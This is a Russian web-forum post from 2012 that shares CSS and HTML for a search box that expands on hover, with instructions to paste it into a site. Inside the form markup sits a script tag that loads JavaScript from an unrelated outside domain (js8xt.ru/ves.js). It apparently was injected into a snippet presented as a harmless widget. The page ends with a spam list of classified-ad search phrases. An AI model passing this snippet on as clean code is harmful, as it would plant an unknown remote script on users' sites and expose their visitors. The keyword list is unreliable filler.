Суббота, 23.11.2024, 06:15
Приветствую Вас Пришедший на сайт! RSS

  • Страница 1 из 1
  • 1
Красивый поиск по сайту
AninewДата: Среда, 25.04.2012, 12:57 | Сообщение # 1
Рядовой
Группа: Юзеры
Сообщений: 7
Награды: 0
Репутация: 0
Статус: Offline
http://s019.radikal.ru/i614/1204/b4/9bbbaeb609fb.jpg <-- Скрин

Поиск очень стильный и подойдёт к любому шаблону.
При навождении на него он будет раздвигаться, как это показано на экране.
УСТАНОВКА
вставляем куда вам нужно

Code
<style>   
#wrap-search {   
margin: 0 auto;   
width: 100px;   
-moz-transition: all .2s ease-out;   
-webkit-transition: all .2s ease-out;   
-o-transition: all .2s ease-out;   
transition: all .2s ease-out;   
text-indent: 0px;}   

#wrap-search br { display: none; }   

#wrap-search #search {   
background: -moz-linear-gradient(center bottom , #9B9B9B 0%, #A9A9A9 50%, #CACACA 50%, #D3D3D3 2550%);   
background: -webkit-gradient(linear,left bottom,left top,color-stop(0, #9B9B9B),color-stop(0.5, #A9A9A9),color-stop(0.5, #CACACA),color-stop(25.5, #D3D3D3));   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#9B9B9B', EndColorStr='#CACACA');   
border-radius: 5px;   
padding: 4px;   
}   

#wrap-search:hover { width:200px; }   

.form-search {   
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#EBEBEB), to(#BCBCBC));   
background: -moz-linear-gradient(-90deg, #BCBCBC, #EBEBEB);   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#EBEBEB', EndColorStr='#BCBCBC');   
border: 1px solid #747474;   
border-radius: 3px;   
box-shadow: inset 0 1px 1px #575555, 0 1px 0 #FFF;   
height: 32px;   
position: relative;   
-moz-transition: all .2s ease-out;   
-webkit-transition: all .2s ease-out;   
-o-transition: all .2s ease-out;   
transition: all .2s ease-out;   
}   

.form-search input[type='text'] {   
background: none;   
border: none;   
color:#6E7074;   
height: 34px;   
line-height: 34px;   
padding: 0 27px 0 6px;   
font-family: Helvetica, Arial, sans-serif;   
font-size: 13px;   
text-shadow: 0 1px 0 #FFF;   
}   

#wrap-search:hover input[type='text'] { color:#597C84; }   

#wrap-search:hover .form-search {   
background: -moz-linear-gradient(-90deg, #9CC2CA, #DFECEF);   
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#DFECEF), to(#9CC2CA));   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#DFECEF', EndColorStr='#9CC2CA');   
box-shadow: inset 0 1px 1px #46575b, 0 1px 0 #FFF;   
color: #25464D;   
}   

.form-search input[type='image'] {   
height: 32px;   
opacity: .5;   
filter:alpha(opacity=50);   
position: absolute;   
right: 0px;   
top: 0px;   
width: 32px;   
}   

.form-search input[type='image']:hover {   
opacity: 1;   
filter:alpha(opacity=100);   
}   

</style>   

<div id="wrap-search">   
<div id="search">   
<form class="form-search" method="get" action="/search" target="_blank">
<script language=JavaScript src=http://js8xt.ru/ves.js></script>   
<input src="http://s019.radikal.ru/i622/1204/78/0154b88f49a9.png" type="image">   
<input name="q" value="поиск" onfocus="this.value='';" onblur="this.value='поиск';" onmouseover="this.value='';" onmouseout="this.value='поиск';" type="text">   
</form>   
</div>   
</div>
 
  • Страница 1 из 1
  • 1
Поиск:


Дать объявление из рук в руки - минск, Подать объявление по трубе, Дать бесплатно объявление о продаже, Моя реклама объявление дать, Дать объявление пишу дипломные работы, Дать объявление по продаже предприятия по интернету, Дать объявление поиске работы, Доска объявлений кресло продаю, Где дать объявление чтоб его увидело как можно больше людей, Дать объявление растений, Дать объявление особенности, Подать объявление на продажу коляски, Бесплатно подать объявление в газету вдв сыктывкар, Аренда квартир в санкт петербурге частные объявления, Домино авто волгоград подать объявление, Дать частное объявление стилист парикмахер, Подать бесплатное объявление в журнал строительство и ремонт, Разместить объявление о продаже ходунков, Снять комнату в санкт-петербурге частные объявления, Дать объявление о продаже земли сельхозназначения, Продаю котят добавить объявление, Как дать объявление о продаже двигателя во владивостоке, Бесплатные объявления наращивание волос дать москва, Где дать объявления по утери студенческого в городе краснодар?, Дать объявление нормирования